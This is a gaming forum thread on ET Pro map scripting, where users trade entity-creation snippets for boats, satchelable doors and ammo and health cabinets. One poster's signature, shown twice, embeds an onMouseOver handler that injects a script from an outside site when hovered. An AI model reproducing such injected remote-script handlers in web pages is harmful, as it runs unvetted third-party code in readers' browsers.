Scripting in ET Pro 3

ET Pro Documentation Project

Moderators: Forum moderators, developers, ET Pro Documentation

ZeAvIs
Posts: 6
Joined: Wed Apr 28, 2004 1:43 am

Post by ZeAvIs »

I have a few questions.

1. Is it possible for this script to remove things? Like lets say removing an MG42 from a map or something? Or removing a truck?

2. Is it possible to make a certain terrain mineable/unmineable?
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

ZeAvIs wrote:I have a few questions.

1. Is it possible for this script to remove things? Like lets say removing an MG42 from a map or something? Or removing a truck?
It's possible to do this in etmain, as long as whatever you want to remove has a scriptname. Search for "remove" in any of the map scripts (especially in the _lms scripts, since LMS removes lots of objectives and doors.)
ZeAvIs wrote:2. Is it possible to make a certain terrain mineable/unmineable?
I don't think so.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
nUllSkillZ
Posts: 62
Joined: Mon Dec 29, 2003 12:25 pm

Post by nUllSkillZ »

Hmm, make a terrain mineable/unmineable with a script could possibly be done by using

Code: Select all

remapshader <target shader> <new shader>
remapshaderflush
You have to know the shader that should be replaced.
And you must write a new shader (original shader minus the surfaceparm).
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

nUllSkillZ
AFAIK, the surfaceparams get cooked into the bsp, remapping the shader won't help.
send lawyers, guns and money
*BUH*Hank
Posts: 22
Joined: Sat Apr 10, 2004 2:44 pm
Location: germany
Contact:

Re: Scripting in ET Pro 3

Post by *BUH*Hank »

duke'ku wrote:Scripting Examples

Code: Select all

create
&#123;
	scriptname "dinghy1"
	origin "2650 600 100"
	classname "misc_gamemodel"
	modelscale 1
	contents 1
	mins "-90 -90 -25"
	maxs "90 90 25"
	clipmask 1
   	model "models/mapobjects/dinghy_sd/dinghy.md3"	
&#125;
If i put this into the current battery.script i only get this

Image

thats the current script (battery.script)

Code: Select all

game_manager
&#123;
	spawn
	&#123;
		//bani
		create
		&#123;
			scriptName "backdoor"
			classname "func_explosive"
			targetname "backdoor"
			origin "4608 -4594 1024"
			mins "-63 -10 0"
			maxs "63 10 128"
			spawnflags 1	// AXIS_OBJECTIVE&#40;1&#41;
			eflags 65536	// EF_FAKEBMODEL
			svflags 1	// SVF_NOCLIENT
		&#125;

		//bani
		create
		&#123;
			scriptName "backdoor_obj"
			classname "trigger_objective_info"
			targetname "backdoor_obj"
			target "backdoor"
			origin "4608 -4601 1024"
			mins "-95 -85 0"
			maxs "95 85 128"
			spawnflags 17	// AXIS_OBJECTIVE&#40;1&#41; | CUSTOMIMAGE
			track "the Back Door"
			shortname "Back Door"
			customaxisimage "gfx/limbo/cm_radar_maindoor"
		&#125;

		//bani - bug fixes
		create
		&#123;
			scriptName "bugfix1"
			classname "func_fakebrush"
			origin "3632 -4313 881"
			contents 65536  // CONTENTS_PLAYERCLIP
			mins "-40 -1 -20"
			maxs "40 1 10"
		&#125;
		create
		&#123;
				scriptname "dinghy1"
				origin "2650 600 100"
				classname "misc_gamemodel"
				modelscale 1
				contents 1
				mins "-90 -90 -25"
				maxs "90 90 25"
				clipmask 1
				model "models/mapobjects/dinghy_sd/dinghy.md3"   
		&#125;   
................
		
is there something wrong ?!?
[BuH]ET1|FunForEveryone
IP: 62.4.74.241:27960 (40 Slots)
User avatar
Deus
Posts: 1053
Joined: Fri Mar 12, 2004 2:24 am
Location: Germany
Contact:

Post by Deus »

server and client needs the model (which is available in the mapdeveloptool for et).

join poohunter.de:21337 and check the poohunter.pk3 for it if you do not want to dl the whole thing.

i use this boat too, nice for snipers ;)
*BUH*Hank
Posts: 22
Joined: Sat Apr 10, 2004 2:44 pm
Location: germany
Contact:

Post by *BUH*Hank »

ahh thx for the fast answer....i´ll take a look ;)
[BuH]ET1|FunForEveryone
IP: 62.4.74.241:27960 (40 Slots)
uber-noob
Posts: 285
Joined: Sat Dec 20, 2003 2:02 pm
Location: Germany
Contact:

Post by uber-noob »

Is there a way to show/visualize the clipping area of objects in the game? So you can better adjust the origin and mins maxs parameters.
User avatar
Ragnar_40k
Posts: 394
Joined: Thu Mar 18, 2004 5:18 pm
Location: Berlin, birthplace of the Döner
Contact:

Post by Ragnar_40k »

I played around with the ETPro scripts and tried to make the axis team door next to the main gate satchable.
As first step I simply copied over the code for the battery backdoor and only changed the origin-key.
When I start the map I can throw a satchel next to the team door and get 7.5XP when I blast it. But I get no message and the teamdoor doesnt disapper.
It seems that the trigger "death" for "backdoor_obj" isn't called.
Can you say what is wrong?

Code: Select all

game_manager
&#123;
	spawn
	&#123;
		create
		&#123;
			scriptName "backdoor"
			classname "func_explosive"
			targetname "backdoor"
			origin "-1518 16 1406"
			mins "-63 -10 0"
			maxs "63 10 128"
			spawnflags 1	// AXIS_OBJECTIVE&#40;1&#41;
			eflags 65536	// EF_FAKEBMODEL
			svflags 1	// SVF_NOCLIENT
		&#125;

		create
		&#123;
			scriptName "backdoor_obj"
			classname "trigger_objective_info"
			targetname "backdoor_obj"
			target "backdoor"
			origin "-1518 16 1406"
			mins "-95 -85 0"
			maxs "95 85 128"
			spawnflags 17	// AXIS_OBJECTIVE&#40;1&#41; | CUSTOMIMAGE
			track "the Back Door"
			shortname "Back Door"
			customaxisimage "gfx/limbo/cm_radar_maindoor"
		&#125;
               .
               .
               .
&#125;

Code: Select all

backdoor
&#123;
	spawn
	&#123;
		wait 50
		constructible_class 2
	&#125;
&#125;

backdoor_obj
&#123;
	death
	&#123;
		wm_announce "Allied team has destroyed the Axis Team Door!"
		trigger teamonlydoor1 hide

	&#125;
&#125;

teamonlydoor1
&#123;
	trigger hide
	&#123;
		remove
		// setstate teamonlydoor1 invisible
	&#125;
&#125;
The Emperor watch over you.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

maybe u should just use setstate invisable
User avatar
Ragnar_40k
Posts: 394
Joined: Thu Mar 18, 2004 5:18 pm
Location: Berlin, birthplace of the Döner
Contact:

Post by Ragnar_40k »

=FF=im2weak4u wrote:maybe u should just use setstate invisable
The trigger backdoor_obj->death isn't called (I don't see the text from the wm_announce) . But the func_explosive "backdoor" I created is deystroyed (I get the XP for it).
The Emperor watch over you.
User avatar
[MoB]Seany
Posts: 163
Joined: Thu Aug 05, 2004 9:57 am

Post by [MoB]Seany »

With the following script, I get an empty ammo rack..well it looks empty but if you stand next to it you get ammo...and it dosnt run out. Why arnt the actual packs showing up?

Code: Select all

create
		&#123;
			scriptname "ammo"
			origin "650 -2540 975"
			classname "misc_cabinet_supply"
			mins "-90 -90 -25"
			maxs "90 90 25"
			ammototal 6
			modelscale 1
			contents 1
			clipmask 1
				model "models/mapobjects/supplystands/stand_ammo.md3"
		&#125;
create
		&#123;
			scriptname "ammoarea"
			origin "650 -2540 975"
			classname "trigger_ammo"
			modelscale 1
			contents 1
			mins "-90 -90 -25"
			maxs "90 90 25"
			clipmask 1	
		&#125;
[MoB]

NetNut: "I never cheat on a FPS game, but i will use my aimbot for Minesweeper or Solitare."
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

[MoB]Seany wrote:With the following script, I get an empty ammo rack..well it looks empty but if you stand next to it you get ammo...and it dosnt run out. Why arnt the actual packs showing up?
The trigger_ammo needs to be linked to the misc_cabinet_supply for the cabinet model to be updated. Try something like:

Code: Select all

create
&#123;
        targetname "ammo"
        scriptname "ammo"
        origin "650 -2540 975"
        classname "misc_cabinet_supply"
        mins "-90 -90 -25"
        maxs "90 90 25"
        ammototal 6
        modelscale 1
        contents 1
        clipmask 1
        model "models/mapobjects/supplystands/stand_ammo.md3"
&#125;
create
&#123;
        target "ammo"
        scriptname "ammoarea"
        origin "650 -2540 975"
        classname "trigger_ammo"
        modelscale 1
        contents 1
        mins "-90 -90 -25"
        maxs "90 90 25"
        clipmask 1
&#125;
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
User avatar
[MoB]Seany
Posts: 163
Joined: Thu Aug 05, 2004 9:57 am

Post by [MoB]Seany »

sorry, i was messin around with it a bit...I actually did have "targetname = ammo" in the trigger entity, thats how i was getting ammo. But I'll try the way you did it. Thanks 8)
[MoB]

NetNut: "I never cheat on a FPS game, but i will use my aimbot for Minesweeper or Solitare."
User avatar
[MoB]Seany
Posts: 163
Joined: Thu Aug 05, 2004 9:57 am

Post by [MoB]Seany »

Ok, now I want to get it to show up on the command map
I already have

Code: Select all

game_manager
&#123;
spawn
&#123;
create
		&#123;
        targetname "ammo"
        scriptname "ammo"
        origin "-1373 -1100 192"
        classname "misc_cabinet_supply"
        angle "270"
	  mins "-45 -45 -25"
        maxs "45 45 25"
        ammototal "100"
        modelscale "1"
        contents "1"
        clipmask "1"
        model "models/mapobjects/supplystands/stand_ammo.md3"
		&#125;
create
		&#123;
        target "ammo"
        ammototal "40"
	  ammorate "1"
	  origin "-1373 -1100 192"
	  classname "trigger_ammo"
	  targetname "ammoarea"
	  scriptname "ammoarea"
	  modelscale "1"
        contents "1"
        mins "-45 -45 -25"
        maxs "45 45 25"
        clipmask "1"
	  	&#125;
create
		&#123;
        targetname "health"
        scriptname "health"
        origin "-1488 -1175 192"
        classname "misc_cabinet_health"
	  angle "360"
	  mins "-45 -45 -25"
        maxs "45 45 25"
        modelscale "1"
        contents "1"
        clipmask "1"
        model "models/mapobjects/supplystands/stand_ammo.md3"
		&#125;
create
		&#123;
        target "health"
        scriptname "healtharea"
	  targetname "healtharea"
        classname "trigger_heal"
	  origin "-1488 -1175 192"
	  healtotal "400"
	  healrate "10"
	  modelscale "1"
        contents "1"
        mins "-45 -45-25"
        maxs "45 45 25"
        clipmask "1"
	 
		&#125;
create
		&#123;
	  classname "trigger_objective_info"
	  target "help_marker_toi"
	  scriptname "ammo_info_toi"
	  track "Health and Ammo Cabinets"
	  targetname "ammo_info_toi"
     	  shortname "Health and Ammo Cabinets"
	  spawnflags "is_healthammocabinet"
	  infoAllied "Health and Ammo cabinets can be used as a regroup or meeting point for your squad."
	  infoAxis "Health and Ammo cabinets can be used as a regroup or meeting point for your squad."
	  customimage "gfx/limbo/cm_healthammo"
	  origin "-1352 -1179 256"
	  modelscale "1"
        contents "1"
        mins "-45 -45-25"
        maxs "45 45 25"
        clipmask "1"
	
		&#125;
create
		&#123;
	  classname "misc_commandmap_marker"
	  scriptname "help_marker_toi"
	  targetname "help_marker_toi"
        contents "1"
        clipmask "1"
	  origin "-1488 -1175 192"
		&#125;
Its works and has a "You are near Health and Ammo" message, but what do I need to do to get it to show up ont he command map?
I did have script_mover parts as well before I removed them:

Code: Select all

create
		&#123;
	  targetname "ammo_clip"
	  scriptname "ammo_clip"
	  classname "script_mover"
	  spawnflags "2"
		&#125;
create
		&#123;
	  targetname "health_clip"
	  scriptname "health_clip"
	  classname "script_mover"
    	  spawnflags "2"
        	&#125;
But, no matter what properties i removed, it still said a model was required for script_mover. Is a script_mover class really that important? And if so, what do I need to do to fix it? If not, then what must be done for it to show up on the command map? Thanks 8)
[MoB]

NetNut: "I never cheat on a FPS game, but i will use my aimbot for Minesweeper or Solitare."
Post Reply